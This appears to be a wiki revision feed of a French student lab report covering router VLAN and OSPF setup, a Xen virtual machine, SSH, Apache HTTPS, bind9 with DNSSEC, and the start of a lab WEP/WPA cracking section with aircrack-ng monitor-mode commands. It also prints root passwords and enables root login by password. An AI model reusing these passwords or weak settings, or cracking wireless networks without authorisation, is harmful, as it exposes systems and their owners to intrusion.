Pour accéder au routeur, nous avons utilisé minicom avec un USB directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyUSB0''', une vitesse de transfert de '''9600 bauds''' et le ''''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Ce sont exactement les mêmes que celles utilisées pour les commutateurs&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports ====&lt;br /&gt;
&lt;br /&gt;
La configuration est la même pour les 2 ports correspondant aux commutateurs&lt;br /&gt;
Nous avons besoin de 6 Vlan pour nos groupes et d'un Vlan d'interconnexion&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour SR32 =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal&lt;br /&gt;
    interface XXXX&lt;br /&gt;
    switchport&lt;br /&gt;
    switchport mode access //Rendre modifiable le port&lt;br /&gt;
    switchport access vlan130 //Autoriser le vlan 130 à transister à travers ce port&lt;br /&gt;
    no shutdown&lt;br /&gt;
    exit&lt;br /&gt;
    exit &lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour les commutateurs =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV4 ====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   configure terminal&lt;br /&gt;
   router ospf 1        //création d'un opsf (Open Shortest Path First)                                      &lt;br /&gt;
   router-id 10.60.0.253   &lt;br /&gt;
   log-adjacency-changes&lt;br /&gt;
   summary-address 193.48.57.160 255.255.255.240 //donne l'addresse IP la plus base du réseau routé&lt;br /&gt;
   summary-address 10.60.0.1 255.255.0.0 not-advertise //donne l'addresse Ip la plus base du réseau non routé/ privé&lt;br /&gt;
   redistribute connected subnets&lt;br /&gt;
   network 192.168.222.8 0.0.0.7 area 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV6 ====&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
   ipv6 router rip tpima2a5                 //Création d'une route IPV6 sous le nom tpima2a5&lt;br /&gt;
   redistribute connected metric 1&lt;br /&gt;
   redistribute rip 1 metric 1&lt;br /&gt;
   redistribute static metric 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
======  Vers les commutateurs ======&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
    &lt;br /&gt;
   interface Vlan1&lt;br /&gt;
   ip address 10.60.0.253 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
    &lt;br /&gt;
   interface Vlan2&lt;br /&gt;
   ip address 10.60.1.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B2::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B2::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 2 ip 10.60.1.252&lt;br /&gt;
   standby 2 preempt&lt;br /&gt;
   exit&lt;br /&gt;
     &lt;br /&gt;
   interface Vlan3&lt;br /&gt;
   ip address 10.60.2.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B3::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B3::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 3 ip 10.60.2.252&lt;br /&gt;
   standby 3 preempt&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface Vlan4&lt;br /&gt;
   ip address 10.60.3.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B4::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B4::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 4 ip 10.60.3.252&lt;br /&gt;
   standby 4 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan5&lt;br /&gt;
   ip address 10.60.4.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B5::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B5::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 5 ip 10.60.4.252&lt;br /&gt;
   standby 5 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan6&lt;br /&gt;
   ip address 10.60.5.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B6::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B6::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 6 ip 10.60.5.252&lt;br /&gt;
   standby 6 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan7&lt;br /&gt;
   ip address 10.60.6.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2201:660:4401:60B7::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2201:660:4401:60B7::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 7 ip 10.60.6.252&lt;br /&gt;
   standby 7 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan42&lt;br /&gt;
   ip address 193.48.57.174 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B1::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B1::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 42 ip 193.48.57.172&lt;br /&gt;
   standby 42 preempt&lt;br /&gt;
   exit&lt;br /&gt;
          &lt;br /&gt;
   interface Vlan130&lt;br /&gt;
   ip address 192.168.222.2 255.255.255.248&lt;br /&gt;
   ipv6 address FE80::42:3 link-local&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==Sources==&lt;br /&gt;
https://rex.plil.fr/&lt;br /&gt;
&lt;br /&gt;
https://tutofacile.org/2017/04/installation-configuration-bind/&lt;br /&gt;
&lt;br /&gt;
https://wiki.debian.org/fr/Bind9&lt;br /&gt;
&lt;br /&gt;
https://doc.ubuntu-fr.org/apache2&lt;br /&gt;
&lt;br /&gt;
https://doc.ubuntu-fr.org/aircrack-ng&lt;br /&gt;
&lt;br /&gt;
https://null-byte.wonderhowto.com/how-to/hack-like-pro-crack-passwords-part-4-creating-custom-wordlist-with-crunch-0156817/&lt;/div&gt;</summary>
		<author><name>Fcavalie</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2019/2020_G1&amp;diff=51568</id>
		<title>TP sysres IMA2a5 2019/2020 G1</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2019/2020_G1&amp;diff=51568"/>
				<updated>2019-12-07T02:15:43Z</updated>
		
		<summary type="html">&lt;p&gt;Fcavalie : /* Protocole HTTPS */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;''Maxime Hirt - Fabien Cavalier''&lt;br /&gt;
&lt;br /&gt;
==Présentation du Groupe et du projet==&lt;br /&gt;
Le groupe de projet est contitué de:&lt;br /&gt;
* Cavalier Fabien &lt;br /&gt;
* Hirt Maxime.&lt;br /&gt;
&lt;br /&gt;
Lors de ce projet nous allons devoir:&lt;br /&gt;
* Créer une architecture reseaux avec un système de redondance&lt;br /&gt;
* Créer une machine virtuel&lt;br /&gt;
* Parametrer des connections IPV6&lt;br /&gt;
* Effectuer un forcebrut sur une clé WEP et WPA&lt;br /&gt;
* Créer un systeme de stockage Raid5&lt;br /&gt;
* Cryptage de fichiers&lt;br /&gt;
&lt;br /&gt;
== Installation de la machine virtuelle avec xen ==&lt;br /&gt;
&lt;br /&gt;
===Connection à Corduan via ssh ===&lt;br /&gt;
 ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
&lt;br /&gt;
===Création et initialisation de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
'''Creation de la machine virtuelle'''&lt;br /&gt;
 xen-create-image --hostname=ima2a5-zerofun --dhcp --dir=/usr/local/xen --dist=ascii --apt-proxy=http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
 xl create ima2a5-zerofun.cfg&lt;br /&gt;
&lt;br /&gt;
'''Modification du fichier de configuration de la VM'''&lt;br /&gt;
&lt;br /&gt;
 nano ima2a5-zerofun.cfg&lt;br /&gt;
&lt;br /&gt;
  #&lt;br /&gt;
  # Configuration file for the Xen instance ima2a5-zerofun, created&lt;br /&gt;
  # by xen-tools 4.7 on Fri Nov  8 08:57:54 2019.&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Kernel + memory size&lt;br /&gt;
  #&lt;br /&gt;
  kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
  extra       = 'elevator=noop'&lt;br /&gt;
  ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
  &lt;br /&gt;
  vcpus       = '1'&lt;br /&gt;
  memory      = '256'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Disk device(s).&lt;br /&gt;
  #&lt;br /&gt;
  root        = '/dev/xvda2 ro'&lt;br /&gt;
  disk        = [&lt;br /&gt;
  'file:/usr/local/xen/domains/ima2a5-zerofun/disk.img,xvda2,w',&lt;br /&gt;
  'file:/usr/local/xen/domains/ima2a5-zerofun/swap.img,xvda1,w',&lt;br /&gt;
  ]&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Physical volumes&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Hostname&lt;br /&gt;
  #&lt;br /&gt;
  name        = 'ima2a5-zerofun'&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Networking&lt;br /&gt;
  #&lt;br /&gt;
  dhcp        = 'dhcp'&lt;br /&gt;
  vif         = [ 'mac=00:16:3E:92:4D:4E, bridge=IMA2a5' ]&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Behaviour&lt;br /&gt;
  #&lt;br /&gt;
  on_poweroff = 'destroy'&lt;br /&gt;
  on_reboot   = 'restart'&lt;br /&gt;
  on_crash    = 'restart'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
'''Lancement de la VM'''&lt;br /&gt;
 xl console ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Connexion ssh@193.48.57.161'''&lt;br /&gt;
&lt;br /&gt;
'''Récupération du mot de passe'''&lt;br /&gt;
 cat /var/log/xen-tools/ima2a5-zerofun.log | grep Password&lt;br /&gt;
 &amp;gt;&amp;gt;Root Password   :  a7a5eajZ5uCpXrZXWQ9esTT&lt;br /&gt;
&lt;br /&gt;
On peut ensuite modifier le mot de passe avec ''passwd''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Configuration de la machine virtuelle pour que var et home soient des partitions de l'hôte'''&lt;br /&gt;
    lvcreate -L10G -n ima2a5-zerofun-home virtual&lt;br /&gt;
    lvcreate -L10G -n ima2a5-zerofun-var virtual&lt;br /&gt;
&lt;br /&gt;
    mke2fs /dev/virtual/ima2a5-zerofun-home&lt;br /&gt;
    mke2fs /dev/virtual/ima2a5-zerofun-var&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Modification du fichier de config'''&lt;br /&gt;
&lt;br /&gt;
    disk    	= [&lt;br /&gt;
                  	'file:/usr/local/xen/domains/ima2a5-rex4ever/disk.img,xvda2,w',&lt;br /&gt;
                  	'file:/usr/local/xen/domains/ima2a5-rex4ever/swap.img,xvda1,w',               &lt;br /&gt;
                       'phy:/dev/virtual/ima2a5-zerofun-home,xvdb1,w',&lt;br /&gt;
                       'phy:/dev/virtual/ima2a5-zerofun-var,xvdb2,w',&lt;br /&gt;
                 ]&lt;br /&gt;
&lt;br /&gt;
===Autorisation de l'accès à notre machine virtuelle via le protocole SSH===&lt;br /&gt;
&lt;br /&gt;
On regarde si le package openssh-server est installé&lt;br /&gt;
 ssh -V&lt;br /&gt;
 &lt;br /&gt;
S'il ne l'est pas, alors on l'installe :  &lt;br /&gt;
 root@ima2a5-zerofun:~# apt install openssh-server&lt;br /&gt;
 root@ima2a5-zerofun:~# ssh -V&lt;br /&gt;
 OpenSSH_7.4p1 Debian-10+deb9u7, OpenSSL 1.0.2s  28 May 2019&lt;br /&gt;
&lt;br /&gt;
Ensuite on peut modifier le fichier de configuration du serveur SSH pour autoriser ou non certains types d'accès : &lt;br /&gt;
 nano /etc/ssh/sshd_config&lt;br /&gt;
 PermitRootLogin yes // Permet l'accès direct en root&lt;br /&gt;
 PubkeyAuthentication yes // Permet de s'identifier via une clé publique&lt;br /&gt;
 PasswordAuthentication yes // Permet de s'identifier via un identifiant et un mot de passe&lt;br /&gt;
 X11Forwarding yes  //Permet de faire un déport d'affichage si on utilise une application avec interface graphique par exemple&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré le fichier de config, il faut redémarrer le service afin de prendre en compte les nouveaux paramètres:&lt;br /&gt;
 root@ima2a5-zerofun:~# service ssh restart&lt;br /&gt;
 [ ok ] Restarting OpenBSD Secure Shell server: sshd.&lt;br /&gt;
&lt;br /&gt;
Pour être sûr que le SSH est fonctionnel on teste l'état du service :&lt;br /&gt;
 root@ima2a5-zerofun:~# service ssh status&lt;br /&gt;
 [ ok ] sshd is running.&lt;br /&gt;
&lt;br /&gt;
On est bon, on peut maintenant se connecter à notre machine virtuelle autrement qu'en utilisant le xl console, ce qui permet notamment de se connecter à plusieurs simultanément. &lt;br /&gt;
&lt;br /&gt;
RAPPEL password : glopglop&lt;br /&gt;
&lt;br /&gt;
Depuis Cordouan : &lt;br /&gt;
 root@cordouan:~# ssh 193.48.57.161&lt;br /&gt;
 root@193.48.57.161's password: &lt;br /&gt;
 Linux ima2a5-zerofun 4.9.0-6-amd64 x86_64 GNU/Linux&lt;br /&gt;
 The programs included with the Devuan GNU/Linux system are free software;&lt;br /&gt;
 the exact distribution terms for each program are described in the&lt;br /&gt;
 individual files in /usr/share/doc/*/copyright.&lt;br /&gt;
 Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent&lt;br /&gt;
 permitted by applicable law.&lt;br /&gt;
 Last login: Fri Dec  6 22:31:26 2019 from 172.26.64.12&lt;br /&gt;
 root@ima2a5-zerofun:~#&lt;br /&gt;
&lt;br /&gt;
Depuis une Zabeth : &lt;br /&gt;
 pifou@zabeth30:~$ ssh root@193.48.57.161&lt;br /&gt;
 The authenticity of host '193.48.57.161 (193.48.57.161)' can't be established.&lt;br /&gt;
 ECDSA key fingerprint is SHA256:Fgo5SXYG5+Qyf3O8TwYJQv42SazTJU0Iidw26H6FUaE.&lt;br /&gt;
 Are you sure you want to continue connecting (yes/no)? y&lt;br /&gt;
 Please type 'yes' or 'no': yes&lt;br /&gt;
 Warning: Permanently added '193.48.57.161' (ECDSA) to the list of known hosts.&lt;br /&gt;
 root@193.48.57.161's password: &lt;br /&gt;
 Linux ima2a5-zerofun 4.9.0-6-amd64 x86_64 GNU/Linux&lt;br /&gt;
 Last login: Fri Dec  6 22:54:41 2019 from 172.26.64.12&lt;br /&gt;
 root@ima2a5-zerofun:~#&lt;br /&gt;
&lt;br /&gt;
== Site web ==&lt;br /&gt;
On souhaite réaliser un site web. Pour cela, il est nécessaire de configurer le serveur qui attendra les connexions et les demandes et enverra le contenu souhaité.  On utilisera le plus connu de tous, le serveur HTTP Apache2. &lt;br /&gt;
&lt;br /&gt;
===Installation et configuration du serveur Apache2===&lt;br /&gt;
&lt;br /&gt;
Installer Apache2 &lt;br /&gt;
 apt install apache2&lt;br /&gt;
&lt;br /&gt;
====Protocole HTTP====&lt;br /&gt;
&lt;br /&gt;
Si on désire dans un premier temps simplement utiliser le protocole HTTP, on va créer un fichier .conf dans le répertoire /etc/apache2/sites-available &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# cat ima2a5-zerofun.site.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt; //Le port 80 est dédié au protocole HTTP&lt;br /&gt;
       ServerName ima2a5-zerofun.site&lt;br /&gt;
       ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
       DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&lt;br /&gt;
       &amp;lt;Directory &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&amp;gt;&lt;br /&gt;
               Options +FollowSymLinks&lt;br /&gt;
               AllowOverride all&lt;br /&gt;
               Require all granted&lt;br /&gt;
       &amp;lt;/Directory&amp;gt;&lt;br /&gt;
       ErrorLog /var/log/apache2/error.ima2a5-zerofun.site.log&lt;br /&gt;
       CustomLog /var/log/apache2/access.ima2a5-zerofun.site.com.log combined&lt;br /&gt;
   &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Protocole HTTPS====&lt;br /&gt;
&lt;br /&gt;
Si maintenant, on souhaite &amp;lt;&amp;lt;sécuriser&amp;gt;&amp;gt; notre site web, on peut ajouter une couche de chiffrement SSL et utiliser donc le protocole HTTPS. On va alors modifier notre fichier .conf. On va également rediriger automatiquement les demandes envoyées à http://www.ima2a5-zerofun.site vers https://www.ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
       ServerName ima2a5-zerofun.site&lt;br /&gt;
       ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
       DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&lt;br /&gt;
       Redirect permanent / https://ima2a5-zerofun.site   //Permet de rediriger vers https://ima2a5-zerofun.site&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
  //-----------------------------------------------------------------------------------------------------------------//&lt;br /&gt;
  &amp;lt;VirtualHost *:443&amp;gt; //port dédié au protocole HTTPS&lt;br /&gt;
        DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot; //permet de récupérer notre page HTML stockée dans /var/www/ima2a5-zerofun&lt;br /&gt;
        ServerName ima2a5-zerofun.site //Définit le nom d'hote que le serveur va utiliser pour s'identifier&lt;br /&gt;
        ServerAlias www.ima2a5-zerofun.site //Permet de dire que ce nom aboutira également à notre site&lt;br /&gt;
        ServerAdmin fabien.cavalier@polytech-lille.net&lt;br /&gt;
                &amp;lt;Directory /var/www/ima2a5-zerofun&amp;gt;&lt;br /&gt;
                        Options -Indexes +FollowSymLinks +MultiViews&lt;br /&gt;
                        AllowOverride none&lt;br /&gt;
                        Require all granted&lt;br /&gt;
                &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        ErrorLog /var/log/apache2/error.ima2a5-zerofun.site-secu.log&lt;br /&gt;
        CustomLog /var/log/apache2/access.ima2a5-zerofun.site-secu.log combined&lt;br /&gt;
         # Activation du SSL&lt;br /&gt;
        SSLEngine On&lt;br /&gt;
        ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
        SSLProtocol All -SSLv3 -SSLv2&lt;br /&gt;
        SSLHonorCipherOrder on&lt;br /&gt;
   SSLCertificateFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.crt&amp;quot;&lt;br /&gt;
   SSLCACertificateFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.pem&amp;quot;&lt;br /&gt;
   SSLCertificateKeyFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.key&amp;quot;&lt;br /&gt;
   &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Une fois notre .conf établi, on doit désactiver la configuration générée par défaut par Apache2 et activer notre configuration : &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2dissite 000-default.conf //Stopper la configuration par défaut&lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2ensite ima2a5-zerofun.site //Lancer notre configuration&lt;br /&gt;
&lt;br /&gt;
On active le protocole SSL via &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2enmode ssl&lt;br /&gt;
Puis on relance le serveur Apache2&lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# service apache2 restart&lt;br /&gt;
 [ ok ] Restarting Apache httpd web server: apache2.&lt;br /&gt;
&lt;br /&gt;
On peut vérifier notre configuration : &lt;br /&gt;
&lt;br /&gt;
 root@ima2a5-zerofun:/etc/bind# apache2ctl -S&lt;br /&gt;
&lt;br /&gt;
 VirtualHost configuration:&lt;br /&gt;
 *:80                   www.ima2a5-zerofun.site (/etc/apache2/sites-enabled/ima2a5-zerofun.site-secu.conf:1)&lt;br /&gt;
 *:443                  www.ima2a5-zerofun.site (/etc/apache2/sites-enabled/ima2a5-zerofun.site-secu.conf:8)&lt;br /&gt;
 ServerRoot: &amp;quot;/etc/apache2&amp;quot;&lt;br /&gt;
 Main DocumentRoot: &amp;quot;/var/www/html&amp;quot;&lt;br /&gt;
 Main ErrorLog: &amp;quot;/var/log/apache2/error.log&amp;quot;&lt;br /&gt;
 Mutex watchdog-callback: using_defaults&lt;br /&gt;
 Mutex ssl-stapling-refresh: using_defaults&lt;br /&gt;
 Mutex ssl-stapling: using_defaults&lt;br /&gt;
 Mutex ssl-cache: using_defaults&lt;br /&gt;
 Mutex default: dir=&amp;quot;/var/run/apache2/&amp;quot; mechanism=default &lt;br /&gt;
 PidFile: &amp;quot;/var/run/apache2/apache2.pid&amp;quot;&lt;br /&gt;
 Define: DUMP_VHOSTS&lt;br /&gt;
 Define: DUMP_RUN_CFG&lt;br /&gt;
 User: name=&amp;quot;www-data&amp;quot; id=33&lt;br /&gt;
 Group: name=&amp;quot;www-data&amp;quot; id=33&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Gestion des certificats====&lt;br /&gt;
&lt;br /&gt;
Gandi nous a fourni la clé intermédiaire (ima2a5-zerofun.pem) , le certificat (ima2a5-zerofun.crt) et on a généré la clé privée (.key) avec openssl &lt;br /&gt;
&lt;br /&gt;
 # openssl req -nodes -newkey rsa:2048 -sha256 -keyout ima2a5-zerofun.key -out ima2a5-zerofun.csr &lt;br /&gt;
&lt;br /&gt;
On places ces fichiers dans /etc/apache2/certificate   pour pouvoir les utiliser dans notre fichier de configuration.&lt;br /&gt;
&lt;br /&gt;
====Aperçu site web ima2a5-zerofun.site====&lt;br /&gt;
&lt;br /&gt;
www.ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
http://ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
https://ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
 [[Fichier:---home-fabien-Images-site web cav hirt.png]]&lt;br /&gt;
&lt;br /&gt;
===Mise en place du serveur DNS avec bind9===&lt;br /&gt;
Le serveur DNS (Domain Name Server) permet d'associer à une adresse IP, un nom de domaine. Ainsi, pour rechercher un serveur, on donnera son nom plutôt que son adresse IP.&lt;br /&gt;
Pour mettre en place ce DNS, on va utiliser le logiciel open source bind9.&lt;br /&gt;
&lt;br /&gt;
====Installation et paramétrage de bind9====&lt;br /&gt;
&lt;br /&gt;
Installer bind9&lt;br /&gt;
 # apt-get install bind9&lt;br /&gt;
&lt;br /&gt;
Il faut paramétrer bind9. &lt;br /&gt;
D'abord le fichier .conf qui permet de définir les zones de résolution de DNS. &lt;br /&gt;
 &lt;br /&gt;
 #nano /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
 //Zone de resolution du domaine ima2a5-zerofun.site&lt;br /&gt;
 zone &amp;quot;ima2a5-zerofun.site&amp;quot; {&lt;br /&gt;
 type master;&lt;br /&gt;
 file &amp;quot;/etc/bind/ima2a5-zerofun.site.signed&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Le second fichier à paramétrer est le .conf.options, il contient l'ensemble des options de configurations du serveur DNS&lt;br /&gt;
&lt;br /&gt;
 root@ima2a5-zerofun:/etc/bind# cat named.conf.options &lt;br /&gt;
 options {&lt;br /&gt;
 directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
 dnssec-validation auto;&lt;br /&gt;
 dnssec-enable yes;&lt;br /&gt;
 dnssec-lookaside auto;&lt;br /&gt;
 auth-nxdomain no;    # conform to RFC1035&lt;br /&gt;
 listen-on-v6 { any; };&lt;br /&gt;
 allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; { &lt;br /&gt;
 217.70.177.40/32;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Enfin, le fichier qui va configurer les zones de résolution&lt;br /&gt;
&lt;br /&gt;
root@ima2a5-zerofun:/etc/bind# cat ima2a5-zerofun.site&lt;br /&gt;
 &lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 $include /etc/bind/ima2a5-zerofun.site.dnssec/ima2a5-zerofun.site-ksk.key&lt;br /&gt;
 $include /etc/bind/ima2a5-zerofun.site.dnssec/ima2a5-zerofun.site-zsk.key&lt;br /&gt;
 @       IN      SOA     dns.ima2a5-zerofun.site. root@ima2a5-zerofun.site. (&lt;br /&gt;
                        26112021        ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      dns.ima2a5-zerofun.site.&lt;br /&gt;
 @       IN      NS      ns-9-b.gandi.net.&lt;br /&gt;
 @	IN	NS	ns6.gandi.net.&lt;br /&gt;
 @	IN	A	193.48.57.161&lt;br /&gt;
 dns     IN      A       193.48.57.161&lt;br /&gt;
 www     IN      A       193.48.57.161   &lt;br /&gt;
 info09  IN      TXT     &amp;quot;Micral&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Notre DNS est maintenant configuré, on relance le service bind9&lt;br /&gt;
 &lt;br /&gt;
 # service bind9 restart&lt;br /&gt;
&lt;br /&gt;
====Gestion des DNS sur gandi.net====&lt;br /&gt;
&lt;br /&gt;
Ajout des DNS sur gandi.net : &lt;br /&gt;
&lt;br /&gt;
On a notre serveur de noms principal : dns.ima2a5-zerofun.site &lt;br /&gt;
&lt;br /&gt;
Ainsi que le serveur de nom secondaire, celui de Gandi : ns6.gandi.net   qui supporte les zones DNSSEC&lt;br /&gt;
&lt;br /&gt;
 [[Fichier:DNSGandi.png]]&lt;br /&gt;
&lt;br /&gt;
Attribution de l'adresse IP de notre DNS principal par le biais d'un Glue record sur le site gandi.net:&lt;br /&gt;
 [[Fichier:GlueRecord.png]]&lt;br /&gt;
&lt;br /&gt;
===Mise en place du DNSSEC===&lt;br /&gt;
&lt;br /&gt;
Génération des clés &lt;br /&gt;
 &lt;br /&gt;
 dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE ima2a5-zerofun.site&lt;br /&gt;
 dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
Signature de la zone&lt;br /&gt;
&lt;br /&gt;
 dnssec-signzone -o ima2a5-zerofun.site -k ima2a5-zerofun.site-ksk ../ima2a5-zerofun.site ima2a5-zerofun.site-zsk&lt;br /&gt;
&lt;br /&gt;
==Attaque Wifi==&lt;br /&gt;
===Description de l'installation===&lt;br /&gt;
&lt;br /&gt;
===Installation de l'utilitaire AirCrack===&lt;br /&gt;
Pour installer l'utilitaire qui va nous permettre de d'attaquer les clés WEP et WPA2-PSK&lt;br /&gt;
 apt-get install aircrack-ng&lt;br /&gt;
===Cassage WEP===&lt;br /&gt;
&lt;br /&gt;
'''Passage de la carte wifi en mode moniteur'''&lt;br /&gt;
 airmon-ng &lt;br /&gt;
 &amp;gt;&amp;gt; phy0 wlx40a5ef0f679b rt2800usb Ralink Technology, Corp. RT5370&lt;br /&gt;
 airmon-ng start wlx40a5ef0f679b&lt;br /&gt;
&lt;br /&gt;
